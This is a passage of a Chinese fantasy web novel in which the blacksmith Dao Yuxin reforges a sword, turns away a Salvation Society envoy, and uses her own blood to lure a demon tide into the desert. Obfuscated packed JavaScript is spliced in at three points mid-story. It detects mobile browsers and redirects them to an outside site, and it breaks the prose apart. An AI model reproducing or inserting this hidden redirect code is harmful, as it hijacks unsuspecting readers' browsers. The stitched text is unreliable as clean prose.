外部硬件在刀语心前往沙漠之前才打过补丁,在检查一番后,她发现检测器的外壳没有任何受损,那就是咒能板出问题了。 可咒能板上的检测效果核心刻印来自职业树,职业树诞生于新世界的规则,在选定职业后,职业树就会生根发芽,在每个人的意识海中成长,按理来说它是绝不会出错的。 因为它是世界法则在每个人身上的具现。 但黑渊魔晶也不可能没有作用,只是检测器检测不到。 就像是被屏蔽了一样。 没有更多的线索,刀语心的思考陷入了停滞,她将宝石从检测台上拿起,仔细观察它的形状。 整体形状和灭灵剑上的凹槽并不一致,那大概这两者原本就不是一体的,她默默收回之前觉得亚空间意识黑心的言论。 不过究竟是什么原因让检测器无法检测? 橙阶材料?不,或许是比橙阶更高等阶的材料?刀语心脑海中闪过这一猜测。 为了验证自己的猜想,刀语心将从亚空间中获得的白色八面棱体也放上检测台,等待半晌后得到的也是差不多的结果: “???(等阶未知):???特性:未知。” 虽然刀语心有预料无法检测出等阶,但没想到这次却连名称特性都是未知。 “咚咚。” 院中传来的敲门声将刀语心的思绪打断。 她以为是叶冰彦来了,起身前去开门,见到的人却是绿绮,在看到绿绮的那一刻刀语心就合上了门。 “哎呀,你就这么不想见到我吗?”绿绮抵住门不让刀语心关上。 “你来干什么?”另一面的刀语心问着,手上也没有松开抵着门的力气。 “你让我进去说嘛,还是你连让我进去都不愿意?” “是。”见到绿绮后刀语心才想起她送自己的礼物还没来得及拆,但碍于对方救世会裁决使的身份,刀语心本能有些厌恶。 听到院中传来的声响后,谢止沉也从房间中出来,来到刀语心的身旁。 绿绮也在夹缝间看到了他的身影,她眉头紧皱有些嫉妒地发问:“凭什么那个你才认识几天的医师可以,我就不可以?” “他是他你是你。”对刀语心来说,谢止沉是合作对象,绿绮属于救世会,是敌人。 家是属于她自己的地方,若是旁人她也不会有如此强的领地意识,但绿绮是救世会的人,刀语心讨厌那里的一切。 被区别对待的绿绮别无他法,只能妥协。 “那还是算了,你把门打开嘛,我不进去就是了,我是来给你送东西的。”绿绮的语气听起来有些可怜巴巴,但刀语心不为所动。 “你把东西放在门口就可以走了。”刀语心不想和绿绮多废话。 但绿绮偏偏要亲手交给她,她想缠着刀语心和她说话。 在两人僵持间,刀语心真正等的人来了。 “小语心,她是谁?” 见叶冰彦来了,刀语心才终于打开门。 “救世会派来的裁决使。”刀语心回答着,顺带将手中的东西给了对方,“冰彦姐,这是剩下的装置。” “我给你送材料,然后你当着我的面送医疗装置给卫队的人?”被忽视在一旁的绿绮质问着刀语心。 “是又如何?”还没等刀语心说话,叶冰彦就出言回怼:“少来找小语心的麻烦,她每次去你们救世会都没什么好事。” “是你受伤了?” 听到这话,绿绮想起自己处理完那个不给刀语心材料的叛徒后,回到救世会发现刀语心已经离开了,只是墙壁上不知为何多了一处血迹。 她那时就意识到有什么不对,但直到先前才忙完手上的事务来寻找刀语心。 “与你无关。” “可是,可是……”与刀语心毫无波动眼神相比,绿绮碧绿的竖瞳有些颤抖。 “请回吧,这里不欢迎你。” 听到刀语心说的话后,绿绮身后的尾巴耷拉了下来,僵持片刻后,不知所措的她抓起刀语心的手把材料给她后就转身跑开了。 刀语心没有把视线移向绿绮离开的背影,只是看着手中的容器。 与从前随意粗糙的装置相比,这个储存容器前所未有的精致,其中的材料甚至比预计的多了不少。 想起那个称得上可爱的礼盒还被自己放在角落,刀语心忽然觉得自己说的话有些过分了。 但她真的不知道该怎么面对一个效力于救世会的人。 那些仇恨是难以抹消的。 见绿绮离开,刀语心身边现在没了隐患,叶冰彦也不打算再多停留。 “邪魔潮快来了,小语心这几天你要注意安全,有事的话及时联系我和队长。” “好,我知道了,冰彦姐你去忙吧。” 告别叶冰彦后,刀语心关上门返回家中。 “没事了吗?”谢止沉询问着刀语心。 “嗯,没事了。” 但刀语心突然想起了什么:“你等一下。” 她来到工作台旁,将一个医疗装置递给了谢止沉。 “你可能不太用得到,但还是带着以防万一吧。” 尽管谢止沉自己就是医师,但治愈法术之类的技能都需要消耗法力值,而每个人的法力值都是有限且紧迫的。 与治愈法术相比,医疗装置最大的好处就是不需要法力值,只需要往里面添加草药就可以做到长时间不间断地恢复,理论上来说只要草药足够,就可以永不停歇地使用。 在医师少而伤员多以及缺少法力值的情况下,医疗装置的重要性不言而喻。 还没等谢止沉说什么,刀语心就又进到锻造室中忙了起来,看着她忙碌的身影,谢止沉只将一切默默记在心中。 也不知道她今天晚上想吃什么。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317203|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回到锻造室的刀语心收起无法检测的材料,顺带拿出绿绮给自己的礼物盒子,看着那个笑脸,刀语心犹豫片刻后还是将其打开。 里面的东西很简单,是一块手掌半大的鳞片,在光线反射下,整体呈现墨绿色。 仔细看下来,光滑表面上有一些隐秘的纹路,刀语心猜测是防御类,检测结果也如她所料。 蛇鳞:从蛇类异兽/兽人获取 特性:抵消——吸收伤害;低阶反弹——将受到的伤害部分反击。 是个很适合加在臂甲上的材料。 看着手中的鳞片,刀语心有些晃神,对绿绮的愧意加深了几分。 将礼盒仔细收好后,她就开始给普通材料分类,除了武器、护具和消耗品,她还有很多东西需要锻造,比如说洞察设备和隐匿斗篷,之前用的都损毁了。 不过得一个一个按顺序来锻造。 先是武器,刀语心按照之前画好的草图,开始修复和改良。 灭灵剑剑身有特殊的刻印纹路,刀语心先将其完整拓印下来,缺失的地方按照已有的部分推算补充。 接着就是简单清洗一下剑身,再重新加热至可塑状态。 灭灵剑本身是紫阶极品武器,而刀语心这次去沙漠并没有获得什么紫阶矿石,她也不打算用蓝阶材料补充,而是按照比例缩小剑身,重塑到一个她适应的大小。 简单淬炼后,再按照之前的纹路重新将其刻印到剑身上去再让检测器检测,灭灵剑完成度提高到百分之八十。 而剩下的完成度,大概就是需要宝石的镶嵌。 在先前的重塑中,刀语心将凹槽改成了能够嵌入黑渊魔晶的形状,她将其嵌入灭灵剑中,严丝合缝契合的同时黑渊魔晶内里涌出一道黑色波浪遍布剑身,给先前还冷白的剑身被镀上了一层黑雾。 这是黑渊魔晶的功效,还是说达到了橙阶会有的现象? 现在她还暂时不拥有能够锻造橙阶装备的手段,无法验证自己的猜测,灭灵剑是橙阶只是因为它本身就是,刀语心只是进行了修复和重塑。 她将灭灵剑重新检测。 “橙阶中品灭灵剑(镶嵌黑渊魔晶,完成度90%): 特性:灵契——联结使用者的灵魂,使伤害翻倍;容器——此剑可容纳任何力量;未知特性:???——???噬???” 增加了一个未知特性,但完成度还差最后的百分之十。 大概是因为原有的材料损耗,但刀语心如今也没有合适的材料去填补,不过橙阶中品已经足够她用很长一段时间。 在持续不断地锻造中,时间悄然流逝。 另一边,叶冰彦在外忙完带着装置回到卫队时,发现卫队此刻有些混乱。 有人见到她回来了,急忙上前说: “副队,预言家突然吐血了,裴队已经过去了。” 了解了事情缘由,叶冰彦将周围混乱的人群稳定下来,又分发三个医疗装置后,她带着仅剩的医疗装置朝着预言家的房间赶去。 房间内人数不多,医师一直朝预言家输送着治愈能量,但躺在裴瑛怀里的人丝毫不见好转,他紧紧攥着裴瑛的手,口中不断往外溢出鲜血。 叶冰彦将医疗装置启动放在预言家的身旁,而看到此情此景的预言家只是断断续续地说着: “队长……不用再为我耗费资源了。”但在场几人都没有放弃他的打算。 预言家撑着最后一口气,说出自己不顾生命危险预知到的未来: “邪魔潮将至,比以往我们经历过的所有都要可怖,驳杂的恶意会毁灭一切,我们无法抵挡……队长,逃,快逃……” 他见识到了必将灭亡的终局。 但在即将到来的未来发生之前,其他的人还有机会逃走,他只希望卫队的人能够活下去。 说完后,他的意识就陷入了昏迷,但并没有消失,之前的抢救并不是毫无意义,他还有一线生机。 “队长……” 医师有些无助地看向裴瑛,她不知道该怎么消化这个噩耗,而作为卫队主心骨的裴瑛,在听完预言家的话后也做出了决定: “逃走是无用的,我们能做的只有与灾难抗争到底。” 深夜,刀语心完成了所有的锻造计划,她正准备熄灭炉火去休息,但一股突如其来的诡异感让她止住了动作。 冰冷不断在空气中蔓延。 察觉到这股寒意后,刀语心皱起了眉头。 无名镇位于沙漠之中,虽说昼夜温差大,但在室内最多会感受到凉意,而不是此刻刺骨的冰寒,更何况,她现在还待在高温的熔炉旁边。 深黑双眸望向无尽漆黑的高天。 她记得自己曾经也经历过同样的感受,在上一次邪魔潮席卷的时候,这冷意是邪魔蔓延肆虐而传递出的恶寒,是邪魔潮来临的征兆。 同一时刻,身处无名镇的所有人都察觉到了这一事实—— 邪魔潮提前了。 18. 第 18 章 冰寒刺骨的寒潮是噩耗来临的预兆,这也代表在邪魔潮抵达前还有最后一段逃生时间。 本该是万籁俱寂的深夜,只见有灯光陆陆续续亮起,与之而来的还有许多惊慌失措的声音,面对突如其来的灾难,每个人都会为未知感到恐惧,而这样的情绪会像病毒一样传染肆虐。 不过很快,一道让人安心的温柔女声就从一片嘈杂声中出现。 “这边来,不要急,大家带上准备好的应急口粮去地下避难。”住在附近的卫队队员已经开始疏散人群,而在更早之前卫队就开始帮助人们准备好度过灾难所需物资。 在感受到寒潮后,刀语心就迅速收拾好东西,准备去卫队帮助裴瑛。 她知道裴瑛身为领导者,在面对邪魔潮时背负着最多的压力。 这突如其来的状况打得所有人措手不及,刀语心也难免有些紧张,这也是她第一次真正地面对邪魔。 思绪间她的手被尖锐的物体划伤,各式各样的材料堆积下这样的状况并不少见,刀语心将血液抹去后就继续行动着。 一切准备就绪后刀语心将锻造台上的灭灵剑拿起,却在同一时刻听见毛骨悚然的尖啸和防御装置发出警报的声音。 她猛然回头,视线范围内有一道扭曲可怖黑影速度极快地朝她袭来,邪魔潮的先遣部队已经抵达了部分。 不过在刀语心挥剑将其斩杀之前,一抹赤红就以更快的速度将其缠绕绞杀。 是谢止沉的力量。 在房间中制作法术卷轴的他也察觉到邪魔来临,恰好此刻出来寻找刀语心。 “没事吧?”他问。 “没事。”刀语心见状将灭灵剑收起,低头看着自己还在流血的手指陷入思考。 那只邪魔在死去之前,眼睛的轮廓死死盯着刀语心受伤的手指。 是她的血对邪魔有很大的吸引力? 两人都不约而同地察觉到这个事实。 谢止沉觉得有些不妙,他望向刀语心,但在看到对方时,心中的忧虑加重。 不是因为刀语心脸上出现惧怕慌乱的神色,恰恰相反,刀语心脸上挂着少见的笑容,整个人也处在兴奋状态之中。 这真是太好了,刀语心情不自禁地想到。 还没等谢止沉说什么,外面突然传来了绿绮的声音。 她边用力敲门,边喊着刀语心的名字。 “刀语心——你快出来,我送你离开!” 屋内的二人不约而同地将视线投向声音传来的方向,不过片刻,一个灵活小巧的身影就出现在院墙之上。 刚才因为邪魔消灭得太快没有派上用场的防御装置此刻调转防线,无数红外射线齐刷刷瞄准了绿绮。 但绿绮顾不上这么多,她只想带刀语心离开。 她直接朝着刀语心一跃而去。 约莫是因为刀语心此刻心情不错,即便绿绮强行闯入,但刀语心并没有下死手,她一边控制终端让射线不再对准绿绮,一边又用灭灵剑格挡着绿绮的攻势。 但身为傀儡师的绿绮并不是孤身作战,高大的黑影在刀语心身后出现,不过被一道红线束缚。 料定绿绮不会伤害自己,刀语心不再一味躲避,而是直接撞上绿绮的攻击。 如刀语心所想,绿绮慌忙地收回了手,但也被刀语心抓住机会将绿绮控制下来,但不甘心的绿绮还想挣扎,刀语心只得将灭灵剑胁迫对方。 “停下。” 有谢止沉拖住傀儡,再加上绿绮也有意不伤害刀语心,这场短暂的战斗胜负已定。 “我不会离开的。”知道绿绮要说什么,刀语心先一步表态。 “可这场邪魔潮很危险,规模前所未有,我要让你活下去,救世会有传送阵,我会你送安全离开。” 看着刀语心的竖状瞳孔专注又认真,绿绮绝无半点虚言,所言都是她心中最真实的想法。 “为什么我非要离开?为什么我非得活下去?” “只有你活下去,才会有更多的人被拯救,才能带来那个拥有希望的未来。” 这样的话语,刀语心早有预料。 对救世会而言,刀语心的价值并不仅仅是帮救世会锻造出好用工具的锻造师,她还是承担着救世期望的载体。 但这是她想要承载的吗? 不。 “首先,我不一定会死,其次,即便我活着,我也不一定会去拯救他人,最后,我无法带来希望,更无法带来未来。” 刀语心的态度十分决绝。 “我现在需要去做更重要的事,这件事只为了我自己,我不想杀死你,但也请不要挡我的路。” 说完,刀语心收起剑,放开了绿绮。 “如果这是救世会的命令,后果由我一人承担。” 多说无益,刀语心带着谢止沉前往卫队。 见刀语心离开,绿绮有些着急地跟上几步,她想要挽留,却不知道该做些什么。 随后她的步伐被弹出的通讯页面打断,是那些加入救世会的普通人等着她回去。 陷入两难抉择的绿绮想到刀语心和自己说的话,纠结再三后,她咬咬牙选择回救世会。 她不能再耗费更多时间。 新世界的法则下每个人都能选择职业,但这并不代表每个人都有能够反抗邪魔的能力。 赶往卫队的途中,二人一路杀了不少邪魔。 在察觉到自己对邪魔的吸引力后,刀语心迫不及待地想要去验证自己之前的想法:能不能将邪魔吸收转化为自己的力量。 期间她不断利用伤口渗出的血液吸引邪魔,几次尝试吸收邪魔的力量,但都没成功,最接近的那次被接二连三袭来的攻击打断了进程。 一道哭喊声吸引了刀语心的注意,她回头,是一对被邪魔袭击的母女,母亲将自己的孩子护在怀中,但自己已经失去了大半生机。 流光绞死了还在吸食生命力的邪魔,但已经太晚了。 “请您,带她离开。”感受到有人来到自己的身旁,那位母亲如此说着。 “好。” “……谢谢。”一个轻吻落在小女孩额头,随后视线彻底消散。 合上逝者的双眼,刀语心抱着小女孩迅速前往避难所的入口,一路上小女孩没有挣扎,只是在刀语心怀里默默流泪。 之后面对的只会是危险,刀语心知道将小女孩留在安全的地方才是正确的选择。 “姐姐……你还会回来吗?”被卫队成员带走前,小女孩抽噎着询问刀语心。 “我不知道,但我必须离开。”不知道怎么安慰人的刀语心只是将自己小时候翻看的书送给小女孩。 “等你读完书上的故事,灾难就会消失,我保证。” 从避难所赶到卫队后,刀语心发现卫队的人们已经井然有序地开始了行动。 “负责护送的队员组织普通人前往地下避难,其他人按照布置待在指定地点对抗邪魔潮。” “是!”所有人齐声回应着裴瑛。 邪魔潮预计还有两小时就会全数抵达无名镇,卫队的法阵师在避难所入口画了法阵,用于保护在地下避难的普通人。 而在邪魔潮肆虐期间,卫队的所有人会在地上消耗着邪魔的力量,直到邪魔潮彻底溃散。 将一切布置完毕后,裴瑛有短暂的空闲时间能和等在一旁的刀语心说上几句。 “队长,有什么我可以帮上忙的吗?” “如果可以的话,尽可能灭杀四散在无名镇中的邪魔,但最重要的还是保护好自己。”说着,裴瑛将早就准备好的东西送到刀语心手中。 “这是防御符石,遇到危险时捏碎就可以形成法阵,一定要注意安全。” 匆忙嘱咐完最后一句后裴瑛就带着人离开了,她需要去一个大型法阵中心迎战邪魔。 身为在场所有人等级最高的裴瑛会吸引最多的邪魔,只有裴瑛成为邪魔潮的靶子分散注意力,其他人才能面对更少的危险。 出于私心,裴瑛很想将刀语心带在自己身边,这样她可以更好地保护刀语心,但她身为卫队队长,注定要在最危险的第一线抵御邪魔潮,她不能让刀语心和她一起犯险。 站在远处的刀语心拿着防御符石,看着被法阵吸引而来的邪魔黑压压一片飘荡在上空,一次次朝着法阵中心的裴瑛发起攻击,其他人都是在一旁辅助,主要战力仅裴瑛一人。 刀语心有些不安。 或许裴瑛可以撑几天几夜,但如果这次的邪魔潮连续十几天都不会退去呢? 即便不知道预言,刀语心也明显感到这次的邪魔潮不同以往,再加上绿绮之前着急忙慌的想带她离开,足以说明事态紧急。 见状,刀语心只是挤压手指上即将愈合的伤口,让其重新流出了鲜血,吸引一部分邪魔朝她而来,但这远远不够,绝大多数的邪魔依然围绕在裴瑛的身边。 这点血不够的话,那更多一些就好了。 这么想着,刀语心就拿起灭灵剑打算把自己左手心划开以便流出更多的血液吸引邪魔,帮裴瑛分担压力。 不过她的动作很快被人制止,她侧目看着谢止沉,他面上没什么表情,但刀语心隐隐约约觉得他有些生气。 在谢止沉钳制刀语心的同时,他顺带还将之前的伤口彻底治愈。 “如果你需要吸引邪魔,我会帮你把它们带过来。” 一路上看刀语心反复阻止自己的伤口复原时他就有些在意,直到看到先前的一幕谢止沉不打算再继续旁观下去。 他明白了,刀语心是一点都不爱惜自己的身体。 “谢谢?”所以吸引邪魔是什么很简单的事情吗? 面对代价更低的方法刀语心没有不答应的道理,而且感觉她不答应的话,谢止沉也不会轻易放开她。 不知道谢止沉用了什么手段,但向他们袭来的邪魔在不断增多,不过也都控制在刀语心能够应付的范围内。 同行一路也看出刀语心想做什么的谢止沉没有出手绞杀邪魔,只是在一旁保护刀语心不被邪魔所伤。 数只邪魔朝刀语心攻去,她利落地挥剑斩下速度最快的那只,接着将后来的其他几只甩开。 刀语心的目标是最后的邪魔。 异化之力早早覆盖了整只左手,在触碰到邪魔实体的那一瞬间,异化之力直接覆盖住邪魔,将其同化吸收。 她成功了。 被削减的冷意顺着手臂的脉络进入刀语心身体之中,成为她新的力量。 在将吸引而来的邪魔全数杀死前,刀语心总共成功了三次,每一次她都切实感受到力量变得充盈。 心脏在剧烈跳动,像是在为刀语心发出庆贺的鼓点。 双手因亢奋而不断颤抖,即便还很微弱,但刀语心知道这就是她一直以来渴求的力量。 她抓住了独属于自己的希望。 如果能将所有邪魔吞噬…… 她将视线回望裴瑛所在的方向,如果问刀语心无名镇的所有人中她最不想让谁死去,那个人只会是裴瑛。 如今刀语心有了一举两得的方法,只要将邪魔潮吞噬,她不仅可以获得力量,还可以帮到裴瑛。 而代价,仅仅是自己以身犯险而已。 “我想出镇。” 刀语心开口说道。 “你想用自己引开邪魔潮?”谢止沉察觉出刀语心的想法。 “对。”她也毫不避讳地承认。 无名镇里面直接动手有些不便,先不说其他人看见刀语心吸收邪魔会不会把她也视为怪物,再者,裴瑛绝不会让这样危险的事情发生在刀语心身上。 “我和你一起去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336279|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不行。” 从二人初次见面开始,这还是刀语心第一次拒绝了谢止沉。 因为她从未想过拉着旁人与自己冒险。 但谢止沉也有自己的私心,不管是因为给刀语心的锻造委托,还是其他什么。 “通往亚空间的门,只有我们两人一起才能打开,你总归要为自己考虑后路。”这是一个合适且充分的理由。 见刀语心在思考但依然没有松口的迹象,谢止沉只能放出杀手锏: “如果你不带上我,我就去告诉裴队长你的打算。” 他语气中全然是温柔无害,但表达的意思却斩钉截铁,对他而言这件事没得商量。 毫无波动的黑色双眸盯着眼前这个想和自己一起去送死的人。 这算是他的威胁吗?刀语心承认自己有被威胁到。 最终她做出了妥协。 “好吧,那你记得离我远一些,保护好你自己。”刀语心从不想拖累任何人。 “说起来,你想让我帮你锻造什么东西?” 此行危机重重,她很可能会死,在那之前她还有机会完成自己的承诺。 “是一个禁锢装置,不过我还没有找齐材料。” “如果我们能活下来的话,之后一起去找吧。”作为和她一起出生入死的报偿。 “嗯,一言为定。”谢止沉欣然应下。 两人边走边灭杀游荡的邪魔,刀语心也顺带在练习如何更好地吸收邪魔之力转化为自己的力量,三次尝试有两次失败,但总有一次能够成功。 在夜色的掩护顺利来到之前停放载具的地方,当时将载具随便停下的刀语心也没想到还有废物利用的一天。 检查一番确定载具没有什么破损能够正常行驶,能源也还算充足后,他们重新登上载具。 两人的位置与之前别无二致,与之前不同的是,这次他们驶向末路。 将载具驶离无名镇一段距离后,开启自动驾驶的刀语心突然用剑划开了自己的手掌,鲜红的血液从伤口中汩汩流出,顺着风的轨迹飘向远处。 虽然不知道谢止沉先前究竟用的是什么方法吸引来的邪魔,但现在所要做的是吸引整个邪魔大部队,刀语心需要确保这件事必须达成。 但面对身旁之人不加掩饰的不赞同神色,不占理的刀语心只能口头给出保证: “下次不会了。” 知道刀语心身为惯犯,这个保证很大可能不作数,对此毫无办法谢止沉只是轻叹,在心中默默思量着以后的对策。 看着那些朝自己涌来的无数黑影,刀语心知道自己的计划成功达成,随后她加快载具的速度朝着沙漠冲去。 盘旋在无名镇上空的邪魔潮不增反减,在法阵中心的裴瑛第一时间察觉到异样。 预言会出现偏差,但大方向上不会出错,更何况邪魔潮绝不会一瞬间消失无踪,在邪魔眼里人类就是它们的食物,作为生存必需品的生命力它们不会如此轻易放过。 除非它们发现了更加美味的猎物。 裴瑛心头一紧,直觉告诉她有什么不好的事发生了。 下一刻她心中的噩耗得到印证。 “队长,小语心她开着载具离开了,不知道为什么邪魔现在全在追她。” 急忙来到她身旁的叶冰彦脸上是少见的慌乱,听到消息后裴瑛自己亦然。 她朝镇外的方向大步走去,但被许多人拦住了脚步。 “太好了!邪魔潮离开了!我们得救了!” “邪魔潮会不会突然回来啊……之前从没有这么短过。” 无数期盼的,热切的,担忧的,小心翼翼的目光,全都聚集在裴瑛身上。 无形的目光对裴瑛而言是一种枷锁,她想要去拦住刀语心,她想要让刀语心回来,但她不能这么做,她无法这么做。 身为卫队队长的裴瑛是在场所有人的主心骨,是他们的顶梁柱,此刻正值危难关头,她不能离开。 但裴瑛在心底问自己,那刀语心呢? 她带走了所有的邪魔,谁又能为她分担一星半点? 救世会中,刀语心的踪迹也被人上报给了绿绮,即便危难当头,也有人为了利益无时无刻不盯着刀语心。 接到消息急忙来到无名镇镇口的绿绮只能看着刀语心驾驶着载具扬长而去,但她此刻的表情不是对刀语心不听劝告感到愤怒,而是一种深深地恐惧。 她不是害怕自己没带走刀语心受到主教的责罚,相比起责罚,她更害怕的是刀语心会死去。 刀语心是所有人的希望,是最关键的种子,她怎么能够为了这个镇子,为了这些人,为了他们真的以身犯险去做什么救世之举。 “不应该是这样,她不应该殒命在这里。”绿绮怔怔呢喃。 失魂落魄的她本能地想要跟着刀语心的方向离开去往沙漠,但被身边的人拽住了。 “放开我!”被阻止的绿绮有些恼怒,她控制傀儡想要将拦住自己的人推开。 “你去也没用,你会死在沙漠里。” 前来劝阻的绿绮副手急忙将自己的通讯仪器送到她的面前,绿绮听见巫津的声音传来。 “那她呢?她怎么办?”绿绮语气中是前所未有的慌乱。 “相信她吧,她不会轻易地死去。” 通讯对面的巫津如此说着。 刀语心是希望,而身为希望的她注定不会被黑暗所吞噬,她终会划破无尽的黑夜,带来黎明。 即便没有那些预言,自小和刀语心相处的巫津也深知她就是这样的人。 不过刀语心大概率不会承认就是了,但她从始至终都是如此。 而此刻,被强行冠以希望之名的刀语心操控着载具带着谢止沉在沙漠上狂奔。 在他们二人身后的是无休无止的邪魔潮。 19. 第 19 章 尽管身后的邪魔潮穷追不舍,但载具上的二人都毫无惧意。 风声伴随着此起彼伏的尖啸伴穿刺刀语心的耳膜,她原本很讨厌这种嘈杂无序的声音,不过此刻吸收邪魔获取力量的兴奋感压制了一切负面情绪。 刀语心只感受到由衷的喜悦。 大部分邪魔都会被载具的速度甩在后面,但也有些速度极快的能够追上他们,二人各自负责一半。 一只略显呆傻的邪魔一股脑冲向刀语心,然后咬到了她的左手臂甲上面。 对刀语心而言,这是极好的实验对象。 趁此机会,刀语心也看清了转换力量的过程:异化之力的初始态沾染上邪魔,覆盖蔓延到三分之二后,邪魔就会被力量逐步吞噬转化。 她尝试过将异化之力脱离自己的掌控去转化邪魔,但失败了,她猜想失去自己控制的异化之力无法独立吞噬邪魔,也可能是没有通道将转化而来的力量反馈到自己身上。 获取的力量沉寂在意识海之中,刀语心察觉到自己能支配的异化之力在慢慢增多,但由于获取方式有限,她只是简单尝试将异化之力攻击后,就不再继续使用。 异化之力不同于技能,技能只要释放就可以达到相对应的目的,刀语心对异化之力有着完全的控制权,但太过自由反而不知道从何开始。 在找到稳定来源之前,非必要时刻刀语心不打算使用这股力量,异化之力联通意识海,耗尽力量的话会让意识海彻底干涸,到那时恐怕不仅是躯体,连同她的灵魂也会受到重创。 而且,不仅仅是这个原因,刀语心还记得异化之力里藏着一些古怪的东西,很多时候总有一道声音在蛊惑她进行屠戮。 所以无数的炸弹被刀语心抛向空中,邪魔被炸开成为一种略显诡异的烟花。 在向后扔炸弹时,满目相似相融的黑中她看到一抹艳丽的红。 谢止沉将细线扩大到如缎带一般,赤色流光在空中荡来荡去轻飘飘地绞死一个又一个邪魔。 虽然他从没和刀语心说过这股力量究竟是什么,但刀语心能够感受到流光和自己异化之力有些相似,应该也是本源之力的变种。 流光看起来还挺方便的,不知道她以后能不能做到。 虽然二人各自有手段消耗邪魔,但载具的能源是有限的,邪魔也在追逐刀语心血液的同时也在不断攻击他们的载具,他们无法一直这样下去。 如果载具故障,被邪魔全数追上的他们也只有死路一条。 “遗迹入口在哪?”刀语心询问着谢止沉,之前她是意外进入遗迹的,只有谢止沉走过正路。 闻言谢止沉唤出一半的钥匙躺在掌心,他口中低喃咒语,钥匙随之投射出一处位置。 “西北方向。” 确定方向后,载具的气浪在沙漠上留下一道弯折痕迹,不知疲倦为何物的邪魔也在其后不断追赶。 快要抵达目的地时,谢止沉又开始吟诵,空无一物的沙漠上瞬间出现一片光幕,刀语心明白那就是遗迹入口,她把数枚炸弹扔向邪魔潮的同时将载具速度提到最快直冲向光幕。 被炸开的邪魔潮重新聚集冲入光幕时已经过了数秒,见到撞在墙上的载具后邪魔一窝蜂全部涌入,但随后它们迟迟发现,这里并没有它们所渴求的东西。 二人早已不在载具之中。 摸不着头脑的邪魔潮顺着血的气味,来到一处有三个方向的岔道,每一个方向都有相同程度的血迹。 用完全不存在的脑子思考片刻后,邪魔潮分成三部分朝不同的方向前去。 这正中刀语心的计谋。 披着隐匿斗篷的二人在其中一个岔口中前行,在被邪魔潮追上之前,刀语心又如法炮制地在分岔路口洒下血液。 “如果我们杀死了这些邪魔,另外的邪魔会有感应吗?”她一边利落地划开伤口滴落鲜血,一边询问着身边之人。 “会。”邪魔虽然没有智慧,但互相能够感应,这也是它们能够聚集成邪魔潮的原因。 这也代表着他们不能彻底将邪魔打散,它们会一次次重新聚集。 在刀语心身后的谢止沉看着她手上的伤口皱眉,他下意识就想去治疗,但他也明白此刻如果彻底痊愈,刀语心后续只能一次又一次地划开伤口,那样只会承受更多的苦痛。 对此刀语心毫不在乎,她在想邪魔的事:那看来不能分散后逐个击破了,只能像之前一样且战且退。 遗迹中岔路无数,之前刀语心绘制的地图加上谢止沉的辨认,他们不断细分邪魔潮,思考能力几乎为零的邪魔潮一次又一次上当,再加上行驶途中的攻击,邪魔潮被二人解决到只剩三分之一。 但这依然是一个很庞大的数目。 为了防止被邪魔潮前后夹击,他们不能重复绕路,只能不断往里行走。 最后的终点是亚空间所在的石树大厅,也是他们的目的地。 刀语心原本的计划是在杀死邪魔潮的同时不断将其转化为异化之力,但与邪魔不同身为人类的刀语心只是个体,她身体有承载极限无法持续不间断吸收。 如今也快要走到尽头,只能采取谢止沉提供的方案:在尽可能解决完大部分邪魔后,他们就躲进亚空间中。 一路奔跑不断斩杀邪魔的二人来到石树大厅,但并没有急着进入亚空间。 被分散的邪魔潮一批批前来汇聚,他们还有余力将其全部击至溃散,不断被削减的邪魔也迟迟察觉到这是二人的陷阱,仅剩的邪魔不再向前送死,而是等待着与其余邪魔聚集。 见状,二人果断离开入口,朝着石树背面亚空间所在位置前去,将各自的钥匙唤出嵌入门中,诡谲光幕再度开启。 不过他们谁都没动。 谢止沉知道自己进不去,毕竟亚空间的意识既恐惧又排斥他,他从一开始就没想过自己会进入亚空间中,他会留下来解决剩余的邪魔。 似乎是知道谢止沉在想什么,刀语心侧身向他伸出自己的手。 “拉着我。” 他对上了那双暗色眼眸,里面没有多余情绪,犹豫片刻,谢止沉将自己的手搭上了上去。 在他们即将进入的同时邪魔潮也完成了聚集,穿过树的缝隙朝他们袭来。 刀语心回头,古井无波的眼看着铺天盖地的邪魔吞没浸染灰白的石树。 在他们即将进入亚空间的最后一刻,刀语心反手把谢止沉推进了亚空间之中,而她自己则退了出去。 刀语心也知道谢止沉被亚空间排斥,所以她主动退出,只留下一个名额让谢止沉顺利进入。 有两把钥匙总该没问题了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349092|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在邪魔冲向刀语心时,她将裴瑛给自己的符石捏碎,亮金色的半圆护盾将她笼罩。 被隔绝在外的邪魔不断冲击着屏障,叫嚣着想要撕裂刀语心的灵魂,对此刀语心面无表情地心想: 先被撕碎的可不一定是她。 